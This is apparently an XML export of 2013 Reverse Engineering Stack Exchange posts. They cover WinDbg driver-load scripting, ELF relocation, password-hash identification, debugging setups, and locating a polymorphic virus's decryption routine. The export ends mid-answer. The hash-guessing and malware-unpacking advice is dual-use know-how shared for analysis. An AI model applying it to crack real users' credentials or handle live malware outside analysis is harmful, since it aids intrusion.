  <row Id="2638" PostTypeId="2" ParentId="1380" CreationDate="2013-08-14T00:43:32.720" Score="6" Body="&lt;p&gt;&lt;code&gt;nt!IopLoadDriver&lt;/code&gt; indirect call is used only for SERVICE_DEMAND start driver entry&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for boot loading drivers you would need to break on &lt;code&gt;nt!IopInitializeBuiltInDriver&lt;/code&gt; indirect call as well&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see a short example on message #17 &amp;amp; #18 in this link &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.osronline.com/showthread.cfm?link=231280&quot; rel=&quot;nofollow&quot;&gt;http://www.osronline.com/showthread.cfm?link=231280&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is a dormant script (slightly edited to use gc (go from conditional instead of go as recommended ) that keeps waiting forever and will print out the !drvobj details&#xA;when ever any driver is loaded in a kernel debugging session &lt;/p&gt;&#xA;&#xA;&lt;p&gt;no word wraps the command should be in a single line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\[*\+*\] nt!IopInitializeBuiltinDriver} ) {bu place &quot;.printf  \&quot;%msu\\n\&quot;, poi(esp+4);r $t0 = poi(esp); gu; !drvobj $t0 2;gc&quot;}&#xA;.foreach /pS 1 /ps 10 ( place { # call*dword*ptr*\[*\+*\] nt!IoploadDriver} ) {bu place &quot;.printf  \&quot;%msu\\n\&quot;, poi(esp+4);r $t1 = poi(esp); gu; !drvobj $t1 2;gc&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;xp sp3 vm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a connected kd session &#xA;do &lt;code&gt;sxe ibp; .reboot&lt;/code&gt; &#xA;kd will request an initial break on rebooting (equivalent to /break switch in boot.ini)&#xA;when broken &#xA;run this script&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$$&amp;gt;a&amp;lt; &quot;thisscript.extension&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in addition to printing all the system driver entry points and their driver objects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if your application loads an additional driver their details will be printed too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a sample output for sysinternals dbgview opened in the target vm &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the dbgv.sys entry point is called when you &lt;code&gt;check mark the enable kernel capture  (ctrl+k)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DBGV&#xA;*** ERROR: Module load completed but symbols could not be loaded for Dbgv.sys&#xA;Driver object (ffbd6248) is for:&#xA; \Driver\DBGV&#xA;DriverEntry:   f6d89185 Dbgv&#xA;DriverStartIo: 00000000 &#xA;DriverUnload:  00000000 &#xA;AddDevice:     00000000 &#xA;&#xA;Dispatch routines:&#xA;[00] IRP_MJ_CREATE                      f6d87168    Dbgv+0x1168&#xA;[01] IRP_MJ_CREATE_NAMED_PIPE           804fa87e    nt!IopInvalidDeviceRequest&#xA;[02] IRP_MJ_CLOSE                       f6d87168    Dbgv+0x1168&#xA;[03] IRP_MJ_READ                        804fa87e    nt!IopInvalidDeviceRequest&#xA;[04] IRP_MJ_WRITE                       804fa87e    nt!IopInvalidDeviceRequest&#xA;[05] IRP_MJ_QUERY_INFORMATION           804fa87e    nt!IopInvalidDeviceRequest&#xA;[06] IRP_MJ_SET_INFORMATION             804fa87e    nt!IopInvalidDeviceRequest&#xA;[07] IRP_MJ_QUERY_EA                    804fa87e    nt!IopInvalidDeviceRequest&#xA;[08] IRP_MJ_SET_EA                      804fa87e    nt!IopInvalidDeviceRequest&#xA;[09] IRP_MJ_FLUSH_BUFFERS               804fa87e    nt!IopInvalidDeviceRequest&#xA;[0a] IRP_MJ_QUERY_VOLUME_INFORMATION    804fa87e    nt!IopInvalidDeviceRequest&#xA;[0b] IRP_MJ_SET_VOLUME_INFORMATION      804fa87e    nt!IopInvalidDeviceRequest&#xA;[0c] IRP_MJ_DIRECTORY_CONTROL           804fa87e    nt!IopInvalidDeviceRequest&#xA;[0d] IRP_MJ_FILE_SYSTEM_CONTROL         804fa87e    nt!IopInvalidDeviceRequest&#xA;[0e] IRP_MJ_DEVICE_CONTROL              f6d87168    Dbgv+0x1168&#xA;[0f] IRP_MJ_INTERNAL_DEVICE_CONTROL     804fa87e    nt!IopInvalidDeviceRequest&#xA;[10] IRP_MJ_SHUTDOWN                    804fa87e    nt!IopInvalidDeviceRequest&#xA;[11] IRP_MJ_LOCK_CONTROL                804fa87e    nt!IopInvalidDeviceRequest&#xA;[12] IRP_MJ_CLEANUP                     804fa87e    nt!IopInvalidDeviceRequest&#xA;[13] IRP_MJ_CREATE_MAILSLOT             804fa87e    nt!IopInvalidDeviceRequest&#xA;[14] IRP_MJ_QUERY_SECURITY              804fa87e    nt!IopInvalidDeviceRequest&#xA;[15] IRP_MJ_SET_SECURITY                804fa87e    nt!IopInvalidDeviceRequest&#xA;[16] IRP_MJ_POWER                       804fa87e    nt!IopInvalidDeviceRequest&#xA;[17] IRP_MJ_SYSTEM_CONTROL              804fa87e    nt!IopInvalidDeviceRequest&#xA;[18] IRP_MJ_DEVICE_CHANGE               804fa87e    nt!IopInvalidDeviceRequest&#xA;[19] IRP_MJ_QUERY_QUOTA                 804fa87e    nt!IopInvalidDeviceRequest&#xA;[1a] IRP_MJ_SET_QUOTA                   804fa87e    nt!IopInvalidDeviceRequest&#xA;[1b] IRP_MJ_PNP                         804fa87e    nt!IopInvalidDeviceRequest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1924" LastEditorUserId="1924" LastEditDate="2013-08-14T12:08:32.733" LastActivityDate="2013-08-14T12:08:32.733" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2639" PostTypeId="2" ParentId="2539" CreationDate="2013-08-14T14:27:54.887" Score="24" Body="&lt;p&gt;To answer to this question, we have first to rephrase it a bit. The real question can be stated like this: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;What are the symbols that cannot be removed from an ELF binary file ?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Indeed, &lt;code&gt;strip&lt;/code&gt; removes quite a bit of information from the ELF file, but it could do a bit more (see the option &lt;code&gt;--strip-unneeded&lt;/code&gt; from &lt;code&gt;strip&lt;/code&gt; or the program &lt;a href=&quot;http://www.muppetlabs.com/~breadbox/software/elfkickers.html&quot;&gt;&lt;code&gt;sstrip&lt;/code&gt;&lt;/a&gt; for more about this). So, my original question was more about what symbols can be assumed to be in the executable file whatever modifications have been made on the ELF file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In fact, there is only one type of symbols that you need to keep whatever happen, we call it &lt;strong&gt;dynamic symbols&lt;/strong&gt; (as opposed at &lt;em&gt;static symbols&lt;/em&gt;). They are a bit different from the static ones because we never know in advance where they will be pointing to in memory. Indeed, as they are supposed to point to external binary objects (libraries, plugin), the binary blob is dynamically loaded in memory while the process is running and we cannot predict at what address it will be located.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the static symbols are stored in the &lt;code&gt;.symbtab&lt;/code&gt; section, the dynamic ones have their own section called &lt;code&gt;.dynsym&lt;/code&gt;. They are kept separate to ease the operation of &lt;strong&gt;relocation&lt;/strong&gt; (the operation that will give a precise address to each dynamic symbol). The relocation operation also relies on two extra tables which are namely: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;.rela.dyn&lt;/code&gt; : Relocation for dynamically linked objects (data or procedures), if PLT is not used.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.rela.plt&lt;/code&gt; : List of elements in the PLT (Procedure Linkage Table), which are liable to the relocation during the dynamic linking (if PLT is used).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Somehow, put all together, &lt;code&gt;.dynsym&lt;/code&gt;, &lt;code&gt;.rela.dyn&lt;/code&gt; and &lt;code&gt;.rela.plt&lt;/code&gt; will allow to patch the initial memory (&lt;em&gt;i.e.&lt;/em&gt; as mapped in the ELF binary), in order for the dynamic symbols to point to the right object (data or procedure).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to illustrate a bit more the process of relocation of dynamic symbols, I built examples in i386 and amd64 architectures.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;i386&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.dynsym' contains 6 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.0 (2)&#xA;     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)&#xA;     3: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&#xA;     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)&#xA;     5: 080484fc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used&#xA;&#xA;&#xA;Relocation section '.rel.dyn' at offset 0x28c contains 1 entries:&#xA; Offset     Info    Type            Sym.Value  Sym. Name&#xA;08049714  00000306 R_386_GLOB_DAT    00000000   __gmon_start__&#xA;&#xA;Relocation section '.rel.plt' at offset 0x294 contains 4 entries:&#xA; Offset     Info    Type            Sym.Value  Sym. Name&#xA;08049724  00000107 R_386_JUMP_SLOT   00000000   perror&#xA;08049728  00000207 R_386_JUMP_SLOT   00000000   puts&#xA;0804972c  00000307 R_386_JUMP_SLOT   00000000   __gmon_start__&#xA;08049730  00000407 R_386_JUMP_SLOT   00000000   __libc_start_main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;amd64&lt;/h2&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Symbol table '.dynsym' contains 5 entries:&#xA;   Num:    Value          Size Type    Bind   Vis      Ndx Name&#xA;     0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.2.5 (2)&#xA;     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.2.5 (2)&#xA;     3: 0000000000000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&#xA;     4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND perror@GLIBC_2.2.5 (2)&#xA;&#xA;&#xA;&#xA;Relocation section '.rela.dyn' at offset 0x368 contains 1 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000600960  000300000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0&#xA;&#xA;Relocation section '.rela.plt' at offset 0x380 contains 4 entries:&#xA;  Offset          Info           Type           Sym. Value    Sym. Name + Addend&#xA;000000600980  000100000007 R_X86_64_JUMP_SLOT 0000000000000000 puts + 0&#xA;000000600988  000200000007 R_X86_64_JUMP_SLOT 0000000000000000 __libc_start_main + 0&#xA;000000600990  000300000007 R_X86_64_JUMP_SLOT 0000000000000000 __gmon_start__ + 0&#xA;000000600998  000400000007 R_X86_64_JUMP_SLOT 0000000000000000 perror + 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few interesting web pages and articles about dynamic linking:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.technovelty.org/linux/plt-and-got-the-key-to-code-sharing-and-dynamic-libraries.html&quot;&gt;PLT and GOT - the key to code sharing and dynamic libraries&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.technovelty.org/linux/stripping-shared-libraries.html&quot;&gt;Stripping shared libraries&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/70302/Redirecting-functions-in-shared-ELF-libraries&quot;&gt;Redirecting functions in shared ELF libraries&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://fluxius.handgrep.se/2011/10/20/the-art-of-elf-analysises-and-exploitations/&quot;&gt;The Art Of ELF: Analysis and Exploitations&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://bottomupcs.sourceforge.net/csbu/x3824.htm&quot;&gt;Global Offset Tables&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="245" LastEditDate="2013-08-14T19:54:59.570" LastActivityDate="2013-08-14T19:54:59.570" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2640" PostTypeId="1" AcceptedAnswerId="2641" CreationDate="2013-08-14T14:51:22.127" Score="12" ViewCount="350" Body="&lt;p&gt;The &lt;a href=&quot;https://github.com/jbangert/trapcc/&quot; rel=&quot;noreferrer&quot; title=&quot;link&quot;&gt;trapcc project&lt;/a&gt; on Github by Sergey Bratus and Julian Bangert claims that using the Turing complete capabilities of x86 MMU it is possible for a code to escape the virtual machine using a single instruction (Move, Branch if Zero, Decrement). It does so by page faults and double faults. I tried to read the paper but it seemed too puzzling. Is the idea feasible?&lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="53" LastEditDate="2014-07-01T08:18:35.543" LastActivityDate="2014-07-01T08:18:35.543" Title="Virtual Machine escape through page faults" Tags="|virtual-machines|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2641" PostTypeId="2" ParentId="2640" CreationDate="2013-08-14T15:14:16.583" Score="13" Body="&lt;p&gt;In fact, they do not claim at all to evade from any virtual machine. But, by using the MMU fault handler mechanism to perform computation, they expect to render the encapsulation of their program unpractical. Indeed, the point is to find unexpected primitives to perform computation, doing so only a few virtual machine environments will be able handle such specific programs. And, even if they do, a virtual machine is managed by an hypervisor which will probably be overwhelmed by the handling of all the interrupt signals that such a program requires. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in fact, they propose a way of programming that is as powerful as C (Turing-complete) but that will be extremely tedious to run in a virtualized environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, the goal of this is to slow down the analysis of the program when run in a virtual machine (this is to be compared to the anti-debug techniques to avoid dynamic analysis).&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-08-14T15:20:02.387" LastActivityDate="2013-08-14T15:20:02.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2642" PostTypeId="1" CreationDate="2013-08-09T08:37:04.350" Score="3" ViewCount="17247" Body="&lt;p&gt;I have 5 test users and they have the same password. I am testing an application which stores the password in the database in an encrypted format. I want learn which hash algorithm has been used on this program? So my question is what is your advice to solve this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any standard steps that can be followed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User Password: &lt;code&gt;test123&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;encrypt format for different user's same  password:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;h9ttr35YmriZmKpo/9sasilzawjUbKYZ&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;M321NBD2wWLfltj46O/EuVmadsaHn8o0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;213/zAYdB+Bi14ZayHPygNpklhjDijka&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="2661" OwnerDisplayName="Goshawk" LastEditorUserId="2661" LastEditDate="2013-09-16T14:44:39.857" LastActivityDate="2013-09-16T14:44:39.857" Title="Steps for determining the hash algorithm used" Tags="|encryption|cryptography|cryptanalysis|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2643" PostTypeId="2" ParentId="2642" CreationDate="2013-08-09T10:45:25.130" Score="0" Body="&lt;p&gt;The resulting cipher is 32 characters so you're probably looking at an MD5 hash. If it was SHA256 it would be 64 characters long. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the resulting cipher is different in each case, then the application is likely using a salt with the hash to increase the security and remove the threat of using rainbow tables for hash comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Access to the application source code or database stored procedures would be useful!&lt;/p&gt;&#xA;" OwnerDisplayName="AndyMac" LastActivityDate="2013-08-09T10:45:25.130" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2644" PostTypeId="2" ParentId="2642" CreationDate="2013-08-09T13:01:17.250" Score="13" Body="&lt;p&gt;The normal process in that case, by which I mean what attackers do, is to &lt;strong&gt;reverse-engineer the &lt;em&gt;application code&lt;/em&gt;&lt;/strong&gt;, i.e. disassembly and similar tools, to find the actual code. This will give definite answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do not reverse-engineer the code, then you will be reduced to guesswork, which can be tedious because there will be no clue as to whether you are &quot;close&quot; to the solution or not. Contrary to what is often shown in Hollywood movies, when the key or algorithm is not right, you do not get a slightly blurred picture. The real-world cryptography is a world of all-or-nothing; you either have the right system all along, down to the last bit, or you get seemingly random noise. (Except if the algorithm is prodigiously poor, which unfortunately happens quite often when people feel that they can do crypto like they do Web pages, by hastily slapping together examples scavenged from blog sites.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for guesses, we can say the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The output looks like &lt;a href=&quot;http://en.wikipedia.org/wiki/Base64&quot;&gt;Base64&lt;/a&gt;. Base64 is an encoding format which transforms every three input bytes into four printable characters; these characters are letters (uppercase and lowercase), digits, &quot;+&quot; and &quot;/&quot; (and there may be some &quot;=&quot; signs at the end for padding). 32 characters in Base64 thus encode 24 bytes. We are looking for a process which yields 24 bytes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The same password for different users yields different outputs. Therefore, the hashing process will use a &quot;user identifier&quot; (name, email address, UUID, database table primary key...) and/or some random value. To check for randomization, try resetting the password for a given user, choosing the &lt;em&gt;same&lt;/em&gt; password. If for the same user you get a different output even though you reset the password to the same value, then the process is randomized and there must be some &lt;strong&gt;random salt&lt;/strong&gt; somewhere.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the process is not randomized, then we are looking for a hash function which yields a 192-bit output. There are not many of them; most used is &lt;a href=&quot;http://en.wikipedia.org/wiki/Tiger_%28cryptography%29&quot;&gt;Tiger&lt;/a&gt; (but it still is quite infrequent). &lt;a href=&quot;http://en.wikipedia.org/wiki/Bcrypt&quot;&gt;Bcrypt&lt;/a&gt; also yields 192 bits, but bcrypt is inherently randomized (you would need to torture existing implementation quite a lot to remove the random salt).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the process is randomized, then there is a random salt, which is probably part of the output. We are then looking, probably, for a hash function with a 128-bit output (MD5 comes to mind) along with a 64-bit salt, or a hash function with a 160-bit output (SHA-1, or maybe RIPEMD-160) along with a 32-bit salt. The salt would probably consist in the first or last bytes of the output.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then comes the unknown part about how the hash was used. When assembling a salt and a password with a hash function, a large variety of methods can be observed. There are some good ways to do password hashing with a salt and a hash function (e.g. &lt;a href=&quot;http://en.wikipedia.org/wiki/PBKDF2&quot;&gt;PBKDF2&lt;/a&gt; or the recent &lt;a href=&quot;http://en.wikipedia.org/wiki/Crypt_%28C%29&quot;&gt;Unix crypt()&lt;/a&gt; variants); and then there are a lot of bad ways, with one or two hash invocations with creative nesting. At that point it mostly is a matter of luck: you have to try the exact same way that was used by the application developer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="Tom Leek" LastActivityDate="2013-08-09T13:01:17.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2645" PostTypeId="2" ParentId="1698" CreationDate="2013-08-15T09:00:38.123" Score="1" Body="&lt;p&gt;In order to read out the flash contents for an Atmel AVR ATmega MCU，you can break the master chip. It doesn't return the chip undamaged, but provides the code and program.&lt;/p&gt;&#xA;" OwnerUserId="2659" LastEditorUserId="107" LastEditDate="2013-08-15T12:54:19.947" LastActivityDate="2013-08-15T12:54:19.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2646" PostTypeId="1" CreationDate="2013-08-15T19:01:12.377" Score="4" ViewCount="5370" Body="&lt;p&gt;Currently I am on an x64-based system and have been doing some reverse engineering for a while. However I'm still a newbie, and the biggest issue I keep running into is the memory layout differences. Obviously x64 uses different registers (&lt;code&gt;rax&lt;/code&gt; =&gt; &lt;code&gt;eax&lt;/code&gt; and so on), and allocates more memory for programs. I have used immunity debugger and it seems to run relatively well, but when I go on my Linux-box trying to debug/disassemble is a pain. Would my best bet be to use an x86-based VM or something like that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just general advice would be appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2664" LastEditorUserId="189" LastEditDate="2013-08-25T11:22:49.887" LastActivityDate="2013-08-25T11:22:49.887" Title="What is an effective way to debug a 32 bits application within a 64 bits OS?" Tags="|x86|operating-systems|x86-64|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2647" PostTypeId="2" ParentId="2646" CreationDate="2013-08-15T19:42:02.830" Score="1" Body="&lt;p&gt;Using a 32bit system would probably be the easiest solution, you can use &lt;a href=&quot;http://davis.lbl.gov/Manuals/GDB/gdb_17.html&quot; rel=&quot;nofollow&quot;&gt;gdbserver&lt;/a&gt; to debug from your main system. However you would probably benefit from learning x64 as 32bit systems are gradually going away. Apart from the different register names/size and the way arguments are passed to the functions due to the stack size being fixed there is not that much difference, you will get used to it after some time. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-15T19:42:02.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2648" PostTypeId="2" ParentId="305" CreationDate="2013-08-15T19:53:53.540" Score="1" Body="&lt;p&gt;Regarding tool support, Ollydbg (and Immunity Debugger) does not support x64. Windbg is probably the best free alternative.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-15T19:53:53.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2652" PostTypeId="1" AcceptedAnswerId="2653" CreationDate="2013-08-17T14:15:30.363" Score="7" ViewCount="1699" Body="&lt;p&gt;I am not able to understand exact difference in Digital Forensic and Reverse Engineering. Will Digital Forensic has anything to do with decompilation, assembly code reading or debugging?&lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorUserId="245" LastEditDate="2013-08-19T11:01:51.717" LastActivityDate="2013-08-19T11:01:51.717" Title="What is difference between Digital Forensic and Reverse Engineering" Tags="|tools|disassembly|decompilation|debuggers|digital-forensics|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2653" PostTypeId="2" ParentId="2652" CreationDate="2013-08-17T16:37:32.977" Score="6" Body="&lt;p&gt;It might be said that the goals (motive) of the investigation rather than the tools or techniques determine whether some work would be classified as digital forensics or reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Definitionally digital forensics is the examination and analysis of digital evidence for use in a legal proceeding. It is certainly true that not all DF is for legal cases, but that is what forensics means :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering is the process of , well, reversing someone else's engineering. There are plenty of reasons to use RE techniques that don't have anything to do with legal investigations, including reversing to gain and maintain compatibility or purely for education and knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Decompilation/disassembly, debugging, and reading code/assembly, are all techniques that can be used in DF (DFIR), development and testing of software and hardware, as well as RE.&lt;/p&gt;&#xA;" OwnerUserId="1395" LastActivityDate="2013-08-17T16:37:32.977" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2654" PostTypeId="1" CreationDate="2013-08-17T20:55:21.153" Score="2" ViewCount="584" Body="&lt;p&gt;I want to decrypt a polymorphic malware. In polymorphic malware there must be a decryption routine which will decrypt virus code and then execute it. I want to get this pair of encrypted code and its decrypted version and do some processing on it. For this I took this polymorphic malware from offensive computing website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://oc.gtisc.gatech.edu:8080/search.cgi?search=bolzano&quot; rel=&quot;nofollow&quot;&gt;http://oc.gtisc.gatech.edu:8080/search.cgi?search=bolzano&lt;/a&gt;&#xA;MD5:    6eb5fdc7a80cb6b551b7aee3242ea9e4&#xA;SHA1:   8f9a97ef3388bc21367f245715d1e930c7dd81c0&#xA;SHA256:     0613e465dc0473c210c6e905ce938eaf6adcea800b116d0651f22c782ffb1cdb&#xA;OCID:   1663401483&#xA;Original Filename:  Virus.Win32.Bolzano.3628 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This virus can be executed in windows NT. So I created vm for windows NT 4.0 SP6. And loaded virus in Ollydbg 1.10. I directly executed executable there. After few seconds virus terminated with exit code 5B. Does this means that when I executed virus , it is decrpyted by decryption routine and executed ? What are ways I can find decryption routine in that virus so that I can understand the exact position of decrypted virus. If I understood that I can put break point after decryption routine and recover the pair.   &lt;/p&gt;&#xA;" OwnerUserId="2405" LastEditorUserId="2405" LastEditDate="2013-08-17T22:14:38.580" LastActivityDate="2013-08-18T07:35:20.393" Title="Find out decrypted body of Polymorphic malware" Tags="|disassembly|malware|assembly|ollydbg|anti-debugging|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2655" PostTypeId="1" CreationDate="2013-08-18T04:55:31.313" Score="6" ViewCount="4801" Body="&lt;p&gt;I am debugging an ARM binary using IDA Pro by connecting to QEMU (remote gdb debugging).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In gdb configuration, I am selecting &lt;code&gt;ARM_versatilepb&lt;/code&gt; as the device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I am able to successfully debug the ARM binary. However, I am unable to execute the syscalls like &lt;code&gt;fork()&lt;/code&gt;, &lt;code&gt;socket()&lt;/code&gt; and so on in the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the reason for this is that I am using a bare metal config of QEMU. So, how do I modify this configuration to have a full Linux system running on QEMU so that I can execute syscalls as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is another device name, ARM_Linux in the &lt;code&gt;gdb_arch.cfg&lt;/code&gt; file of IDA Pro which has the &lt;code&gt;arm_root.img&lt;/code&gt; parameter passed in the command line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I selected this device but even then, unable to execute the syscalls.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bare metal configuration I am using at present is detailed &lt;a href=&quot;http://www.hexblog.com/?p=111&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2673" LastEditorUserId="53" LastEditDate="2013-08-19T12:18:30.540" LastActivityDate="2013-08-19T12:18:30.540" Title="Debugging ARM binary with IDA Pro and Qemu" Tags="|ida|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2656" PostTypeId="2" ParentId="2654" CreationDate="2013-08-18T05:02:51.997" Score="1" Body="&lt;p&gt;From analysis of the following report on &lt;a href=&quot;https://malwr.com/analysis/OGE4OWVmM2E2Y2FmNGNlMmFkM2M2YTdmNmM1MmE4MzY/&quot; rel=&quot;nofollow&quot;&gt;malwr.com&lt;/a&gt;, it looks like the malware has crashed on there system, which could indicate that it also has crashed at yours.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Regarding &lt;strong&gt;GetTickCount API&lt;/strong&gt;, you should check that the call to it is done from the body of the malware and not from the pre-loading environment of console executable. If you find near &lt;strong&gt;GetTickCount API&lt;/strong&gt; also APIs for parsing command line parameters, than it's a false alarm.&lt;/li&gt;&#xA;&lt;li&gt;As to the finding the OEP (Original Entry Point) I'd suggest to put BP on VirtualAlloc/VirtualAllocEx - as in general, but does not have to, encrypted malware will need extra space to decrypt itself. In that particular case I saw the usage of &lt;strong&gt;NtCreateSection&lt;/strong&gt; which you also should monitor.&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After loading the malware in Debugger, try to search for dynamic control transfer, like jumps/calls to value stored in register/de-referenced memory.&lt;/li&gt;&#xA;&lt;li&gt;Also put BPs on APIs responsible for memory de-allocation (VirtualFree) so you could dump the buffer before its gone.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;And for the end, do not immediately rush to a debugger, try to run the malware and look what it does by using &lt;strong&gt;ProcMon&lt;/strong&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;br&gt;&#xA;Advise before you dive into dealing with real malware:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Write very simple program.&lt;/li&gt;&#xA;&lt;li&gt;Download UPX compressor - its open source, as there are a lot of malwares that use it too :)&lt;/li&gt;&#xA;&lt;li&gt;Compress your program with 